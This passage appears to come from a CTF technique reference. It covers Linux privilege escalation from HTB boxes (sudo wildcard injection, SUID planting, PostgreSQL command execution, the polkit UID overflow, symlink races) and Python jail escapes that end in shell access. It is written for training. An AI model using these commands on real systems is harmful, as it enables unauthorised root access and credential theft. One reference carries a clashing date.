PROGRAM RCE (Slonik HTB)](#postgresql-copy-to-program-rce-slonik-htb)\n- [PostgreSQL Backup Credential Extraction (Slonik HTB)](#postgresql-backup-credential-extraction-slonik-htb)\n- [SSH Unix Socket Tunneling (Slonik HTB)](#ssh-unix-socket-tunneling-slonik-htb)\n- [NFS Share Exploitation for Sensitive Data (Slonik HTB)](#nfs-share-exploitation-for-sensitive-data-slonik-htb)\n- [PaperCut Print Deploy Privilege Escalation (Bamboo HTB)](#papercut-print-deploy-privilege-escalation-bamboo-htb)\n- [Squid Proxy Pivoting to Internal Services (Bamboo HTB)](#squid-proxy-pivoting-to-internal-services-bamboo-htb)\n- [Zabbix Admin Password Reset via MySQL (Watcher HTB)](#zabbix-admin-password-reset-via-mysql-watcher-htb)\n- [WinSSHTerm Encrypted Credential Decryption (Atlas HTB)](#winsshterm-encrypted-credential-decryption-atlas-htb)\n- [sudo file -m Magic File Directory Traversal (OTW Advent 2018)](#sudo-file--m-magic-file-directory-traversal-otw-advent-2018)\n- [CVE-2018-19788 — polkit UID Integer Overflow → Systemd RCE (OTW Advent 2018)](#cve-2018-19788--polkit-uid-integer-overflow--systemd-rce-otw-advent-2018)\n- [Sudo Glob Path + Symlink Confused Deputy via vim (STEM CTF 2019)](#sudo-glob-path--symlink-confused-deputy-via-vim-stem-ctf-2019)\n- [TOCTOU Symlink Swap Race on FileChecker (STEM CTF 2019)](#toctou-symlink-swap-race-on-filechecker-stem-ctf-2019)\n\n---\n\n## Sudo Wildcard Parameter Injection via fnmatch (Dump HTB)\n\nSudo's `fnmatch()` matches `*` across argument boundaries including spaces, allowing injection of extra flags into a locked-down sudo command.\n\nExample: sudoers rule has `/usr/bin/tcpdump -c10 -w/var/cache/captures/*/[UUID]` — the `*` matches `x -Z root -r/path -w/etc/sudoers.d`\n\n- `-Z root` prevents privilege dropping (file stays root-owned)\n- Second `-w` overrides first (tcpdump uses last value)\n- `-r` reads from crafted pcap instead of live capture\n\n```bash\nsudo /usr/bin/tcpdump -c10 \\\n -w/var/cache/captures/x \\\n -Z root \\\n -r/var/cache/captures/.../crafted.pcap \\\n -w/etc/sudoers.d/output_uuid \\\n -F/var/cache/captures/filter.uuid\n```\n\n**Key insight:** Sudo wildcards use `fnmatch()` without `FNM_PATHNAME`, so `*` matches any characters including spaces and slashes. This means a single `*` in a sudoers rule can match across multiple injected arguments.\n\n---\n\n## Crafted Pcap for /etc/sudoers.d (Dump HTB)\n\nSudo's yacc parser has error recovery — it skips binary junk lines and keeps parsing for valid entries. Vixie cron, by contrast, rejects the entire file on the first syntax error. Craft a pcap with an embedded sudoers line: `\\nwww-data ALL=(ALL:ALL) NOPASSWD: ALL\\n`\n\nAvoid `0x0a` (newline) bytes in binary headers: use IPs like 192.168.x.x (not 10.x.x.x) and select ports/timestamps carefully. The valid sudoers entries appear between binary junk lines.\n\n```python\n# Payload embedded in each UDP packet\npayload = b\"\\nwww-data ALL=(ALL:ALL) NOPASSWD: ALL\\n\"\n# Avoid 10.x.x.x IPs (0x0a byte = newline in binary headers)\n# Use 192.168.1.1/192.168.1.2, ports 12345/9999, timestamps 100-109\n```\n\n**Key insight:** Sudo's parser recovers from errors (yacc `error` productions skip to next newline) while cron's parser rejects the entire file on the first syntax error. This makes `/etc/sudoers.d/` a viable target for binary-format file injection while `/etc/cron.d/` is a dead end.\n\n---\n\n## Monit confcheck Process Command-Line Injection (Zero HTB)\n\nMonit runs health-check scripts as root every 60 seconds. The script uses `pgrep -lfa` to find processes matching a regex, extracts their command line, modifies it (e.g., replaces `apache2` with `apache2ctl`), and executes the result as root.\n\nCreate a fake process with injected extra flags in its command line. Perl's `$0` assignment sets an arbitrary process name visible to `pgrep`:\n\n```bash\n# Monit confcheck script pattern:\n# pgrep -lfa \"^/opt/app/bin/apache2.-k.start.-d./opt/app/conf\"\n# -> replaces apache2->apache2ctl, appends -t, executes as root\n\n# Inject extra flags via fake process:\nperl -e '$0 = \"/opt/app/bin/apache2 -k start -d /opt/app/conf -d /dev/shm/malconf -E /dev/shm/malconf/startup.log\"; sleep 300' &\n```\n\n**Key insight:** When a root script uses `pgrep` to extract a process command line and then executes a modified version, creating a fake process with extra arguments allows injecting flags into root-executed commands. Perl's `$0` or Python's `setproctitle` make process name spoofing trivial.\n\n---\n\n## Apache -d Last-Wins ServerRoot Override (Zero HTB)\n\nWhen multiple `-d` flags are specified, Apache uses the last one. Combined with `-E` (startup error log redirect), this provides both config control and output capture. Place `Include /root/root.txt` in a malicious config — Apache tries to parse the flag file as a directive and dumps its content in the error message.\n\n```bash\n# Create malicious Apache config\nmkdir -p /dev/shm/malconf\ncat > /dev/shm/malconf/apache2.conf \u003c\u003c 'EOF'\nServerRoot \"/etc/apache2\"\nLoadModule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so\nLoadModule authz_core_module /usr/lib/apache2/modules/mod_authz_core.so\nInclude /root/root.txt\nEOF\n\n# Fake process injects -d (override ServerRoot) and -E (error log to readable file)\n# After monit triggers confcheck, read error log:\ncat /dev/shm/malconf/startup.log\n# AH00526: Syntax error on line 1 of /root/root.txt:\n# Invalid command 'FLAG_CONTENT_HERE'...\n```\n\n**Key insight:** Apache config parse errors expose file content in error messages. `Include /path/to/file` causes Apache to read the file and report its content as an \"Invalid command\" error — a reliable file-read primitive when combined with `-E` output redirection.\n\n---\n\n## Backup Cronjob SUID Abuse (Slonik HTB)\n\nRoot cronjob copies files from a user-controlled directory (e.g., PostgreSQL data directory). Place a SUID (Set User ID) bash binary in the source directory — when the cronjob copies it, the file becomes root-owned while retaining the SUID bit.\n\n```sql\n-- Copy bash with SUID to PostgreSQL data directory\nCOPY (SELECT '') TO PROGRAM 'cp /bin/bash /var/lib/postgresql/14/main/bash && chmod 4777 /var/lib/postgresql/14/main/bash';\n-- After backup cronjob runs, the copy at /opt/backups/current/bash is root-owned SUID\n-- Execute: /opt/backups/current/bash -p\n```\n\n**Key insight:** When a root cronjob copies an entire directory, file ownership changes to root. SUID binaries in the source become root-owned SUID in the destination. The `-p` flag on bash preserves effective UID.\n\n---\n\n## PostgreSQL COPY TO PROGRAM RCE (Slonik HTB)\n\nPostgreSQL superuser can execute OS commands via `COPY TO PROGRAM`. Read command output by writing to a temp file and using `pg_read_file()`.\n\n```sql\n-- Execute commands as postgres user\nCOPY (SELECT '') TO PROGRAM 'id > /tmp/test.txt';\nSELECT pg_read_file('/tmp/test.txt');\n-- uid=115(postgres) gid=123(postgres)\n\n-- Read arbitrary files\nSELECT pg_read_file('/etc/passwd');\nSELECT pg_read_file('/var/lib/postgresql/user.txt');\n```\n\n**Key insight:** PostgreSQL superuser access is equivalent to OS command execution. `COPY TO PROGRAM` runs shell commands as the `postgres` user, and `pg_read_file()` reads arbitrary files on the filesystem without needing shell access.\n\n---\n\n## PostgreSQL Backup Credential Extraction (Slonik HTB)\n\n`pg_basebackup` archives contain password hashes in `pg_authid` (file `global/1260`). SCRAM-SHA-256 hashes (format: `SCRAM-SHA-256$4096:salt$stored_key:server_key`) can be cracked offline. Restore the backup locally with Docker to access full database contents.\n\n```bash\n# Mount NFS share, extract backup zip\nshowmount -e TARGET && mount -t nfs TARGET:/var/backups /mnt\n# Extract pg_authid from global/1260 for password hashes\n# Restore backup: docker run -v /path/to/backup:/var/lib/postgresql/data postgres:14\n# Connect and dump user tables for credentials\n```\n\n**Key insight:** PostgreSQL backups (`pg_basebackup`) contain `global/1260` which holds `pg_authid` -- the table with all password hashes. SCRAM-SHA-256 hashes can be cracked offline, and restoring the full backup in Docker gives access to all database contents including application credentials.\n\n---\n\n## SSH Unix Socket Tunneling (Slonik HTB)\n\nWhen a service only listens on a Unix socket (not TCP), use SSH local port forwarding to tunnel traffic to it. Works even when the user has `/bin/false` as login shell — the `-T -fN` flags skip terminal allocation and command execution.\n\n```bash\n# Forward local port 25432 to remote PostgreSQL Unix socket\nsshpass -p 'password' ssh -T -o StrictHostKeyChecking=no \\\n -fNL 25432:/var/run/postgresql/.s.PGSQL.5432 user@TARGET\n# Connect via forwarded port\nPGPASSWORD='postgres' psql -h localhost -p 25432 -U postgres\n```\n\n**Key insight:** SSH `-L localport:unix_socket_path` forwards to Unix sockets, not just TCP ports. `-T` prevents terminal allocation, `-f` backgrounds SSH, `-N` prevents command execution — together these work even with restricted shells like `/bin/false`.\n\n---\n\n## NFS Share Exploitation for Sensitive Data (Slonik HTB)\n\nEnumerate and mount NFS (Network File System) shares to find database backups, SSH keys, and config files with credentials:\n```bash\nshowmount -e TARGET\n# /var/backups (everyone)\n# /home (everyone)\nmount -t nfs TARGET:/var/backups /mnt/backups\nmount -t nfs TARGET:/home /mnt/home\n# Check for: database backups, SSH keys, config files with credentials\n```\n\n**Key insight:** NFS shares exported with `(everyone)` access require no authentication. Always check `showmount -e` early in enumeration -- exposed `/home` directories often contain SSH keys, and `/var/backups` frequently holds database dumps with credentials.\n\n---\n\n## PaperCut Print Deploy Privilege Escalation (Bamboo HTB)\n\nRoot-owned systemd service (`pc-print-deploy`) runs binaries from a user-owned directory (`/home/papercut/`). The `server-command` shell script, owned by the `papercut` user, executes as root during certain admin operations. Modify this user-owned script to inject a payload, then trigger execution via admin API.\n\n```bash\n# Modify user-owned script that root executes\necho 'chmod u+s /bin/bash' >> ~/server/bin/linux-x64/server-command\n\n# Trigger root execution via PaperCut admin API\ncurl -c /tmp/cookies.txt \"http://localhost:9191/app?service=page/SetupCompleted\"\ncurl -b /tmp/cookies.txt \"http://localhost:9191/print-deploy/admin/api/mobilityServers/v2?refresh=true\"\n\n# Execute SUID bash\nbash -p\n```\n\n**Key insight:** When a root-owned service runs binaries or scripts from a user-writable directory, check `ls -la` on every file in the execution path. The systemd service file (`/etc/systemd/system/`) defines `ExecStart` but may lack `User=` directive, running everything as root.\n\n---\n\n## Squid Proxy Pivoting to Internal Services (Bamboo HTB)\n\nRoute traffic through a Squid proxy to reach internal services not directly accessible:\n```bash\n# Enumerate internal services through Squid proxy\ncurl -x http://TARGET:3128 http://127.0.0.1:9191/app\ncurl -x http://TARGET:3128 http://127.0.0.1:8080/\n# Set proxy for all tools:\nexport http_proxy=http://TARGET:3128\n```\n\n**Key insight:** Squid proxies on port 3128 are a pivot point to internal services bound to 127.0.0.1. Set `http_proxy` globally and access internal admin panels, databases, and APIs that are invisible from external scans.\n\n---\n\n## Zabbix Admin Password Reset via MySQL (Watcher HTB)\n\nWith MySQL access to the Zabbix database, reset the admin password directly:\n```sql\n-- Reset Zabbix admin password to \"zabbix\" (bcrypt hash)\nUPDATE users SET passwd = '$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username = 'Admin';\n-- Note: username is case-sensitive (\"Admin\" not \"admin\")\n```\n\n**Key insight:** With direct MySQL access to a Zabbix database, update the `users` table to set a known bcrypt hash as the admin password. The username is case-sensitive (`Admin` not `admin`), which is a common gotcha.\n\n---\n\n## WinSSHTerm Encrypted Credential Decryption (Atlas HTB)\n\nWinSSHTerm (.NET) stores encrypted SSH credentials in `connections.xml` with key material in a `key` file. Decompile with ILSpy/dnSpy to reverse the multi-layer encryption:\n\n1. **Layer 1:** Key file decrypted with PBKDF2-HMAC-SHA1 (Password-Based Key Derivation Function 2) using 1012 iterations, obfuscated prefix + master password + suffix, and a hardcoded salt\n2. **Layer 2:** Decrypted key split into PasswordKey (even bytes, bitwise NOT'd) and SaltKey (odd bytes, NOT'd)\n3. **Layer 3:** Stored password decrypted with PBKDF2 derived from PasswordKey/SaltKey\n4. Master password often crackable with rockyou.txt\n5. XOR obfuscated string table: `data[i] = (data[i] ^ i) ^ 0xAA`\n\n**Key insight:** Desktop SSH clients with \"encrypted\" credential storage are only as strong as the master password. Decompile the .NET binary, extract the crypto constants, and brute-force the master password. The encryption scheme's complexity is irrelevant if the master password is weak.\n\n---\n\n## sudo file -m Magic File Directory Traversal (OTW Advent 2018)\n\n**Pattern:** Sudoers rule permits `file` with no argument restrictions. `file -m \u003cpath>` tells it to read \"magic\" definitions from a user-specified directory, and it emits filenames from that directory in error messages even when the target is otherwise unreadable.\n\n```bash\nsudo -u santa file -m /root/ .\n# Error output lists every filename under /root/\n```\n\nChain with `file -m /path/to/file -i -r .` to read file contents into the error channel when the file command tries to compile entries as magic.\n\n**Key insight:** Sudoers audits usually focus on the main binary, not its secondary flags. `file -m`, `tar --to-command`, `find -exec`, and `awk -f` all turn an innocuous sudo rule into directory listing or command execution. Enumerate sudo rules with `sudo -l` and then look up GTFOBins for each entry.\n\n**References:** OverTheWire Advent 2018 — Lostpresent, writeup 12785\n\n---\n\n## CVE-2018-19788 — polkit UID Integer Overflow → Systemd RCE (OTW Advent 2018)\n\n**Pattern:** polkit treated UIDs greater than `INT_MAX` (`2147483647`) as \"unknown user\" and *skipped* authentication. Create a user with `UID = 4020181224`, then run `systemctl enable --now /path/to/pwn.service` — polkit lets the call through without prompting, and systemd runs the service as root.\n\n```bash\nuseradd -u 4020181224 -m loluser\nsu loluser\n# ~/pwn.service:\n# [Service]\n# ExecStart=/bin/bash -c 'cat /root/flag > /tmp/out'\nsystemctl enable --now /home/loluser/pwn.service\ncat /tmp/out\n```\n\n**Key insight:** Any integer-based permission check that compares with signed integers breaks for UID > INT_MAX. The patched version of polkit treats invalid UIDs as `root`'s opposite — *always deny*. Remembering the numeric constant 4020181224 lets you spot vulnerable boxes immediately.\n\n**References:** OverTheWire Advent Bonanza 2018 — writeup 12764\n\n---\n\n## Sudo Glob Path + Symlink Confused Deputy via vim (STEM CTF 2019)\n\n**Pattern:** `/etc/sudoers` grants vim on a glob path — `ctf ALL=(root) NOPASSWD: /usr/bin/vim /home/ctf/*/*/HackMe2.txt`. The glob constrains the *pathname*, not the *file it refers to*. Create any matching path as a symlink to `/root/flag.txt` and vim will happily dereference it and open the real target with root privileges.\n\n```bash\n# Set up directory tree that matches /home/ctf/*/*/HackMe2.txt\nmkdir -p ~/a/b\nln -s /root/flag.txt ~/a/b/HackMe2.txt\n\n# sudo resolves the pathname string, but open() follows the symlink\nsudo /usr/bin/vim /home/ctf/a/b/HackMe2.txt\n# :!cat % inside vim prints /root/flag.txt contents\n```\n\n**Key insight:** Sudoers path matching happens on the literal argv string, but the binary itself dereferences symlinks. Any \"edit only this file\" sudo rule that uses a wildcard is exploitable this way — not just vim (also `less`, `cat`, `head`, `tail`, `cp`, `chmod`, `truncate`, any tool that open()s the path). Defense requires `secure_path`, absolute paths without globs, and ideally a file-reading helper that calls `realpath()` and checks against an allow-list.\n\n**References:** STEM CTF: Cyber Challenge 2019 — January 8 2014, writeup 13301\n\n---\n\n## TOCTOU Symlink Swap Race on FileChecker (STEM CTF 2019)\n\n**Pattern:** A setuid binary checks a path's ownership/permissions with `stat()` and only then `open()`s it (or vice versa) — the classic Time-Of-Check / Time-Of-Use window. Run two tight loops in parallel: one rapidly alternates a symlink between a dummy file (that passes the check) and `/root/flag.txt` (that the attacker cannot read), the other invokes the checker and greps for the flag marker. Eventually the two line up and the checker reads the flag while it passed validation on the dummy.\n\n```bash\n# redirect.sh — swap the symlink forever\nwhile true; do\n ln -sf dummy.txt link\n ln -sf /root/flag.txt link\ndone &\n\n# runfile.sh — hammer the vulnerable binary; print when it leaks MCA{\nwhile true; do\n ./FileChecker link 2>/dev/null | grep -m1 'MCA{' && break\ndone\n```\n\nRun them concurrently in the same shell (`./redirect.sh &` then `./runfile.sh`) and wait — usually a few seconds to a minute. Tighten the race with `renameat2(RENAME_EXCHANGE)` or a userfaultfd/inotify-synced swap if the loop is too slow.\n\n**Key insight:** Any two-syscall access pattern on a path (e.g. `stat()` then `open()`, `access()` then `fopen()`) is racey. `access(2)` in particular is explicitly documented as unsafe for security decisions. Defense uses `openat()` + `fstat()` on the returned fd, or `O_NOFOLLOW` to reject symlinks entirely. As an attacker, flip the symlink at ~1M ops/sec with a bash loop or a C program using `renameat2`.\n\n**References:** STEM CTF: Cyber Challenge 2019 — Race You, writeup 13376\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":18452,"content_sha256":"d7550c94cd9330cd052f947dea15c65bb29dfe3dbd01fcfb52b44e1a3035b83e"},{"filename":"pyjails.md","content":"# CTF Misc - Python Jails\n\n## Table of Contents\n- [Identifying Jail Type](#identifying-jail-type)\n- [Systematic Enumeration](#systematic-enumeration)\n - [Test Basic Features](#test-basic-features)\n - [Test Blocked AST Nodes](#test-blocked-ast-nodes)\n - [Brute-Force Function Names](#brute-force-function-names)\n- [Oracle-Based Challenges](#oracle-based-challenges)\n - [Binary Search](#binary-search)\n - [Linear Search](#linear-search)\n- [Building Strings Without Concat](#building-strings-without-concat)\n- [Classic Escape Techniques](#classic-escape-techniques)\n - [Via Class Hierarchy](#via-class-hierarchy)\n - [Compile Bypass](#compile-bypass)\n - [Unicode Bypass](#unicode-bypass)\n - [Getattr Alternatives](#getattr-alternatives)\n- [Walrus Operator Reassignment](#walrus-operator-reassignment)\n - [Octal Escapes](#octal-escapes)\n- [Magic Comment Escape](#magic-comment-escape)\n- [Mastermind-Style Jails](#mastermind-style-jails)\n - [Find Input Length](#find-input-length)\n - [Find Characters](#find-characters)\n - [Find Positions](#find-positions)\n- [Server Communication](#server-communication)\n- [Magic File ReDoS](#magic-file-redos)\n- [Environment Variable RCE](#environment-variable-rce)\n- [func_globals to Module Chain Traversal (PlaidCTF 2013)](#func_globals-to-module-chain-traversal-plaidctf-2013)\n- [Restricted Charset Number Generation (PlaidCTF 2013)](#restricted-charset-number-generation-plaidctf-2013)\n- [Multi-Stage Payload with Class Attribute Persistence (PlaidCTF 2013)](#multi-stage-payload-with-class-attribute-persistence-plaidctf-2013)\n- [dir() Attribute Lookup Escape Bypassing __class__ Blocklist (InCTF 2018)](#dir-attribute-lookup-escape-bypassing-__class__-blocklist-inctf-2018)\n- [Restricted vim Escape via K (man) to :!sh (TokyoWesterns CTF 4th 2018)](#restricted-vim-escape-via-k-man-to-sh-tokyowesterns-ctf-4th-2018)\n- [Python Name Mangling and Attribute Access (Tokyo Westerns 2017)](#python-name-mangling-and-attribute-access-tokyo-westerns-2017)\n- [Decorator-Based Escape (No Call, No Quotes, No Equals)](#decorator-based-escape-no-call-no-quotes-no-equals)\n - [Technique 1: `function.__name__` as String Keys](#technique-1-function__name__-as-string-keys)\n - [Technique 2: Name Extractor via getset_descriptor](#technique-2-name-extractor-via-getset_descriptor)\n - [Technique 3: Accessing Real Builtins via \\_\\_loader\\_\\_](#technique-3-accessing-real-builtins-via-__loader__)\n - [Full Exploit Chain](#full-exploit-chain)\n - [How the Decorator Chain Works (Bottom-Up)](#how-the-decorator-chain-works-bottom-up)\n - [Variations](#variations)\n - [Constraints Checklist for This Technique](#constraints-checklist-for-this-technique)\n - [When \\_\\_loader\\_\\_ Is Not Available](#when-__loader__-is-not-available)\n- [Quine + Context Detection for Code Execution (BearCatCTF 2026)](#quine--context-detection-for-code-execution-bearcatctf-2026)\n- [Restricted Character Repunit Decomposition (BearCatCTF 2026)](#restricted-character-repunit-decomposition-bearcatctf-2026)\n- [Python eval() Jail Escape via Tuple Injection (Codegate 2018)](#python-eval-jail-escape-via-tuple-injection-codegate-2018)\n- [Python f-string Config Injection via Stored eval (INShAck 2018)](#python-f-string-config-injection-via-stored-eval-inshack-2018)\n- [Hints Cheat Sheet](#hints-cheat-sheet)\n\n---\n\n## Identifying Jail Type\n\n**Error patterns reveal filtering:**\n\n| Error Pattern | Meaning | Approach |\n|---------------|---------|----------|\n| `name not allowed: X` | Identifier blacklist | Unicode, hex escapes |\n| `unknown function: X` | Function whitelist | Brute-force names |\n| `node not allowed: X` | AST filtering | Avoid blocked syntax |\n| `binop types must be int/bool` | Type restrictions | Use int operations |\n\n---\n\n## Systematic Enumeration\n\n### Test Basic Features\n```python\ntests = [\n (\"1+1\", \"arithmetic\"),\n (\"True\", \"booleans\"),\n (\"'hello'\", \"string literals\"),\n (\"'\\\\x41'\", \"hex escapes\"),\n (\"1==1\", \"comparison\"),\n]\n```\n\n### Test Blocked AST Nodes\n```python\nblocked_tests = [\n (\"'a'+'b'\", \"string concat\"),\n (\"'ab'[0]\", \"indexing\"),\n (\"''.join\", \"attribute access\"),\n (\"[1,2]\", \"lists\"),\n (\"lambda:1\", \"lambdas\"),\n]\n```\n\n### Brute-Force Function Names\n```python\nimport string\nfor c in string.printable:\n result = test(f\"{c}(65)\")\n if \"unknown function\" not in result:\n print(f\"FOUND: {c}()\")\n```\n\n---\n\n## Oracle-Based Challenges\n\n**Common functions:** `L()`, `Q(i, x)`, `S(guess)`\n- `L()` = length of secret\n- `Q(i, x)` = compare position i with value x\n- `S(guess)` = submit answer\n\n### Binary Search\n```python\ndef find_char(i):\n lo, hi = 32, 127\n while lo \u003c hi:\n mid = (lo + hi) // 2\n cmp = query(i, mid)\n if cmp == 0:\n return chr(mid)\n elif cmp == -1: # mid \u003c flag[i]\n lo = mid + 1\n else:\n hi = mid - 1\n return chr(lo)\n\nflag_len = int(test(\"L()\"))\nflag = ''.join(find_char(i) for i in range(flag_len))\n```\n\n### Linear Search\n```python\nfor i in range(flag_len):\n for c in range(32, 127):\n if query(i, c) == 0:\n flag += chr(c)\n break\n```\n\n---\n\n## Building Strings Without Concat\n\n```python\n# Hex escapes\n\"'\\\\x66\\\\x6c\\\\x61\\\\x67'\" # => 'flag'\n\ndef to_hex_str(s):\n return \"'\" + ''.join(f'\\\\x{ord(c):02x}' for c in s) + \"'\"\n```\n\n---\n\n## Classic Escape Techniques\n\n### Via Class Hierarchy\n```python\n''.__class__.__mro__[1].__subclasses__()\n# Find \u003cclass 'os._wrap_close'>\n```\n\n### Compile Bypass\n```python\nexec(compile('__import__(\"os\").system(\"sh\")', '', 'exec'))\n```\n\n### Unicode Bypass\n```python\neval = eval # Fullwidth characters\n```\n\n### Getattr Alternatives\n```python\n\"{0.__class__}\".format('')\nvars(''.__class__)\n```\n\n---\n\n## Walrus Operator Reassignment\n\n```python\n# Reassign constraint variable\n(abcdef := \"all_allowed_letters\")\n```\n\n### Octal Escapes\n```python\n# \\141 = 'a', \\142 = 'b', etc.\nall_letters = '\\141\\142\\143...'\n(abcdef := \"{all_letters}\")\nprint(open(\"/flag.txt\").read())\n```\n\n---\n\n## Magic Comment Escape\n\n```python\n# -*- coding: raw_unicode_escape -*-\n\\u0069\\u006d\\u0070\\u006f\\u0072\\u0074 os\n```\n\n**Useful encodings:**\n- `utf-7`\n- `raw_unicode_escape`\n- `rot_13`\n\n---\n\n## Mastermind-Style Jails\n\n**Output interpretation:**\n```text\nfunction(\"aaa...\") => \"1 0\" # 1 exists wrong pos, 0 correct\n```\n\n### Find Input Length\n```python\nfor length in range(1, 50):\n result = test('a' * length)\n print(f\"len={length}: {result}\")\n```\n\n### Find Characters\n```python\nfor c in charset:\n result = test(c * SECRET_LEN)\n if result[0] + result[1] > 0:\n print(f\"{c}: count={result[0] + result[1]}\")\n```\n\n### Find Positions\n```python\nknown = \"\"\nfor pos in range(SECRET_LEN):\n for c in candidate_chars:\n test_str = known + c + 'Z' * (SECRET_LEN - len(known) - 1)\n result = test(test_str)\n if result[1] > len(known):\n known += c\n break\n```\n\n---\n\n## Server Communication\n\n```python\nfrom pwn import *\ncontext.log_level = 'error'\n\ndef test_with_delay(cmd, delay=5):\n r = remote('host', port, timeout=20)\n r.sendline(cmd.encode())\n import time\n time.sleep(delay)\n try:\n return r.recv(timeout=3).decode()\n except:\n return None\n finally:\n r.close()\n```\n\n---\n\n## Magic File ReDoS\n\n**Evil magic file:**\n```text\n0 regex (a+)+$ Vulnerable pattern\n```\n\n**Timing oracle:**\n```python\ndef measure(payload):\n start = time.time()\n requests.post(URL, data={'magic': payload})\n return time.time() - start\n```\n\n---\n\n## Environment Variable RCE\n\n```bash\nPYTHONWARNINGS=ignore::antigravity.Foo::0\nBROWSER=\"/bin/sh -c 'cat /flag' %s\"\n```\n\n**Other dangerous vars:**\n- `PYTHONSTARTUP` - executed on interactive\n- `PYTHONPATH` - inject modules\n- `PYTHONINSPECT` - drop to shell\n\n---\n\n## Decorator-Based Escape (No Call, No Quotes, No Equals)\n\n**Pattern (Ergastulum):** `ast.Call` banned, no quotes, no `=`, no commas, charset `a-z0-9()[]:._@\\n`. Exec context has `__builtins__={}` and `__loader__=_frozen_importlib.BuiltinImporter`.\n\n**Key insight:** Decorators bypass `ast.Call` — `@expr` on `def name(): body` compiles to `name = expr(func)`, calling `expr` without an `ast.Call` node. This also provides assignment without `=`.\n\n### Technique 1: `function.__name__` as String Keys\n\nDefine a function to create a string matching a dict key:\n```python\ndef __builtins__(): # __builtins__.__name__ == \"__builtins__\"\n 0\ndef exec(): # exec.__name__ == \"exec\"\n 0\n```\nUse as dict subscript: `some_dict[exec.__name__]` accesses `some_dict[\"exec\"]`.\n\n### Technique 2: Name Extractor via getset_descriptor\n\n`function_type.__dict__['__name__'].__get__` takes a function and returns its `.__name__` string. This enables chained decorators:\n\n```python\n@dict_obj.__getitem__ # Step 2: dict[\"key_name\"] → value\n@func.__class__.__dict__[__name__.__name__].__get__ # Step 1: extract .__name__\ndef key_name(): # function with __name__ == \"key_name\"\n 0\n# Result: key_name = dict_obj[\"key_name\"]\n```\n\n### Technique 3: Accessing Real Builtins via __loader__\n\n```python\n__loader__.load_module.__func__.__globals__[\"__builtins__\"]\n```\nContains real `exec`, `__import__`, `print`, `compile`, `chr`, `type`, `getattr`, `setattr`, etc.\n\n### Full Exploit Chain\n\n```python\n# Step 1: Define helper functions for string key extraction\ndef __builtins__():\n 0\ndef __name__():\n 0\ndef __import__():\n 0\n\n# Step 2: Extract real __import__ from loader's globals\n# Equivalent to: __import__ = globals_dict[\"__builtins__\"][\"__import__\"]\n@__loader__.load_module.__func__.__globals__[__builtins__.__name__].__getitem__\n@__builtins__.__class__.__dict__[__name__.__name__].__get__\ndef __import__():\n 0\n\n# Step 3: Import os module\n# Equivalent to: os = __import__(\"os\")\n@__import__\n@__builtins__.__class__.__dict__[__name__.__name__].__get__\ndef os():\n 0\n\n# Step 4: Get a shell\n# Equivalent to: sh = os.system(\"sh\")\[email protected]\n@__builtins__.__class__.__dict__[__name__.__name__].__get__\ndef sh():\n 0\n```\n\n### How the Decorator Chain Works (Bottom-Up)\n\n```python\n@outer_func\n@inner_func\ndef name():\n 0\n```\nExecutes as: `name = outer_func(inner_func(function_named_name))`\n\nFor the `__import__` extraction:\n1. `__builtins__.__class__` → `\u003cclass 'function'>` (type of our defined function)\n2. `.__dict__[__name__.__name__]` → `function.__dict__[\"__name__\"]` → getset_descriptor\n3. `.__get__` → descriptor's getter (takes function, returns its `.__name__` string)\n4. Applied to `def __import__(): 0` → returns string `\"__import__\"`\n5. `globals_dict[\"__builtins__\"].__getitem__(\"__import__\")` → real `__import__` function\n\n### Variations\n\n**Execute arbitrary code via exec + code object:**\n```python\ndef __code__():\n 0\n@exec_function\n@__builtins__.__class__.__dict__[__code__.__name__].__get__\ndef payload():\n ... # code to execute (still subject to charset/AST restrictions)\n```\n\n**Import any module by name:**\n```python\n@__import__\n@__builtins__.__class__.__dict__[__name__.__name__].__get__\ndef subprocess(): # or any valid module name using allowed chars\n 0\n```\n\n### Constraints Checklist for This Technique\n\n- [x] No `ast.Call` nodes (decorators are `ast.FunctionDef` with decorator_list)\n- [x] No quotes (strings from `function.__name__`)\n- [x] No `=` sign (decorators provide assignment)\n- [x] No commas (single-argument decorator calls)\n- [x] No `+`, `*`, operators (pure attribute/subscript chains)\n- [x] Works with empty `__builtins__` (accesses real builtins via `__loader__`)\n\n### When __loader__ Is Not Available\n\nIf `__loader__` isn't in scope but you have any function object `f`:\n- `f.__class__` → function type\n- `f.__globals__` → module globals where `f` was defined\n- `f.__globals__[\"__builtins__\"]` → real builtins (if `f` is from a normal module)\n\nIf you have a class `C`:\n- `C.__init__.__globals__` → globals of the module defining `C`\n\n**References:** 0xL4ugh CTF 2025 \"Ergastulum\" (442pts, Elite), GCTF 2022 \"Treebox\"\n\n---\n\n## Quine + Context Detection for Code Execution (BearCatCTF 2026)\n\n**Pattern (The Boy is Quine):** Server asks for a quine (program that prints its own source code), validates it by running in a subprocess, then `exec()`s it in the main process with different globals.\n\n**Exploit:** Build a dual-purpose quine that:\n1. Prints itself (passes quine validation in subprocess)\n2. Executes payload only in the server process (detected via globals difference)\n\n```python\n# Context gate: \"subprocess\" module exists in server globals but not in subprocess\ns='s=%r;print(s%%s,end=\"\");__import__(\"os\").system(\"cat /app/flag.txt\")if\"subprocess\"in globals()else 0';print(s%s,end=\"\");__import__(\"os\").system(\"cat /app/flag.txt\")if\"subprocess\"in globals()else 0\n```\n\n**Key insight:** `exec()` in the server process inherits the server's globals (imported modules like `subprocess`), while the subprocess validation has a clean environment. Use `\"module_name\" in globals()` or `\"module_name\" in dir()` as a gate to distinguish contexts. The quine structure `s='s=%r;...';print(s%s,end=\"\")` is the classic Python quine pattern.\n\n---\n\n## Restricted Character Repunit Decomposition (BearCatCTF 2026)\n\n**Pattern (The Brig):** Pick exactly 2 characters for your entire expression. Server evaluates `eval(long_to_bytes(eval(expr)))` — the outer eval runs the decoded Python code.\n\n**Strategy:** Choose `1` and `+`. Decompose the target integer into a sum of repunits (111, 1111, 11111, etc.):\n```python\nfrom Crypto.Util.number import bytes_to_long\n\ntarget = bytes_to_long(b'eval(input())') # → 13-byte integer\n\ndef repunit(k):\n return (10**k - 1) // 9 # 111...1 with k digits\n\nterms = []\nremaining = target\nwhile remaining > 0:\n k = 1\n while repunit(k + 1) \u003c= remaining:\n k += 1\n terms.append('1' * k)\n remaining -= repunit(k)\n\nexpr = '+'.join(terms) # e.g., \"111...1+111...1+11+1+1\"\n# len(expr) ≈ 2561 chars (fits 4096 limit)\n```\n\n**Key insight:** Any positive integer 